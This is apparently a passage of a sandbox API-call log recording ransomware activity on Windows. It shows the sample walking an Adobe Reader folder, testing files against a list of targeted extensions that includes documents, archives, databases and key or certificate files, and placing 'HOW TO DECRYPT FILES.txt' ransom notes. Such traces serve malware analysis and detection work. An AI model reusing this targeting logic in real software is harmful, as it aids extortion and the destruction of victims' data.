PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.rar") returned 0 [0070.408] lstrlenA (lpString="*.rar") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.zip") returned 0 [0070.408] lstrlenA (lpString="*.zip") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.html") returned 0 [0070.408] lstrlenA (lpString="*.html") returned 6 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.htm") returned 0 [0070.408] lstrlenA (lpString="*.htm") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.xlsx") returned 0 [0070.408] lstrlenA (lpString="*.xlsx") returned 6 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.xls") returned 0 [0070.408] lstrlenA (lpString="*.xls") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.mp4") returned 0 [0070.408] lstrlenA (lpString="*.mp4") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.ppt") returned 0 [0070.408] lstrlenA (lpString="*.ppt") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.pptx") returned 0 [0070.408] lstrlenA (lpString="*.pptx") returned 6 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.doc") returned 0 [0070.408] lstrlenA (lpString="*.doc") returned 5 [0070.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.dot") returned 0 [0070.409] lstrlenA (lpString="*.dot") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.docx") returned 0 [0070.409] lstrlenA (lpString="*.docx") returned 6 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.7z") returned 0 [0070.409] lstrlenA (lpString="*.7z") returned 4 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.tar") returned 0 [0070.409] lstrlenA (lpString="*.tar") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.bz2") returned 0 [0070.409] lstrlenA (lpString="*.bz2") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.gz") returned 0 [0070.409] lstrlenA (lpString="*.gz") returned 4 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.mkv") returned 0 [0070.409] lstrlenA (lpString="*.mkv") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.eml") returned 0 [0070.409] lstrlenA (lpString="*.eml") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.msg") returned 0 [0070.409] lstrlenA (lpString="*.msg") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.edb") returned 0 [0070.409] lstrlenA (lpString="*.edb") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.accdb") returned 0 [0070.409] lstrlenA (lpString="*.accdb") returned 7 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.odb") returned 0 [0070.409] lstrlenA (lpString="*.odb") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.java") returned 0 [0070.409] lstrlenA (lpString="*.java") returned 6 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.asm") returned 0 [0070.409] lstrlenA (lpString="*.asm") returned 5 [0070.409] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.pfx") returned 0 [0070.409] lstrlenA (lpString="*.pfx") returned 5 [0070.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.pem") returned 0 [0070.410] lstrlenA (lpString="*.pem") returned 5 [0070.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.p12") returned 0 [0070.410] lstrlenA (lpString="*.p12") returned 5 [0070.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT", pszSpec="*.gpg") returned 0 [0070.410] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d400, dwReserved0=0x74, dwReserved1=0x0, cFileName="Annots.CAT", cAlternateFileName="")) returned 1 [0070.410] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.410] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Annots.CAT") returned 1 [0070.410] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Annots.CAT") returned 1 [0070.410] lstrcmpiA (lpString1="", lpString2="Annots.CAT") returned -1 [0070.410] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT") returned="AdobeCollabSync.CAT" [0070.410] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.410] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.410] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.410] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.410] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="Annots.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT" [0070.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT", pszSpec="*.ems") returned 0 [0070.410] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x74, dwReserved1=0x0, cFileName="BRdlang32.CAT", cAlternateFileName="BRDLAN~1.CAT")) returned 1 [0070.411] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.411] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BRdlang32.CAT") returned 1 [0070.411] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BRdlang32.CAT") returned 1 [0070.411] lstrcmpiA (lpString1="", lpString2="BRdlang32.CAT") returned -1 [0070.411] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT") returned="Annots.CAT" [0070.411] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.411] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.411] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.411] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.411] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="BRdlang32.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT" [0070.411] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Checkers.CAT", cAlternateFileName="")) returned 1 [0070.411] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.411] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Checkers.CAT") returned 1 [0070.411] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Checkers.CAT") returned 1 [0070.411] lstrcmpiA (lpString1="", lpString2="Checkers.CAT") returned -1 [0070.411] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT") returned="BRdlang32.CAT" [0070.411] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.411] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.411] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.411] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.411] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="Checkers.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT" [0070.412] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x74, dwReserved1=0x0, cFileName="DigSig.CAT", cAlternateFileName="")) returned 1 [0070.412] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.412] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DigSig.CAT") returned 1 [0070.412] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DigSig.CAT") returned 1 [0070.412] lstrcmpiA (lpString1="", lpString2="DigSig.CAT") returned -1 [0070.412] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT") returned="Checkers.CAT" [0070.412] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.412] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.412] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.412] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.412] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="DigSig.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" [0070.412] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DVA.CAT", cAlternateFileName="")) returned 1 [0070.412] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.412] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DVA.CAT") returned 1 [0070.412] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DVA.CAT") returned 1 [0070.412] lstrcmpiA (lpString1="", lpString2="DVA.CAT") returned -1 [0070.412] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT") returned="DigSig.CAT" [0070.412] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.412] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.412] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.412] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.413] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="DVA.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT" [0070.413] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="eBook.CAT", cAlternateFileName="")) returned 1 [0070.413] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.413] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eBook.CAT") returned -1 [0070.413] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eBook.CAT") returned 1 [0070.413] lstrcmpiA (lpString1="", lpString2="eBook.CAT") returned -1 [0070.413] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT") returned="DVA.CAT" [0070.413] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.413] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.413] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.413] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.413] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="eBook.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" [0070.413] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x74, dwReserved1=0x0, cFileName="EScript.CAT", cAlternateFileName="")) returned 1 [0070.413] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.413] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EScript.CAT") returned -1 [0070.413] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EScript.CAT") returned 1 [0070.413] lstrcmpiA (lpString1="", lpString2="EScript.CAT") returned -1 [0070.413] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT") returned="eBook.CAT" [0070.413] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0070.414] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="" [0070.414] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" [0070.414] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to decrypt files.txt")) returned 0x20 [0070.414] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", lpString2="EScript.CAT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT" [0070.414] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="IA32.CAT", cAlternateFileName="")) returned 1 [0070.414] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 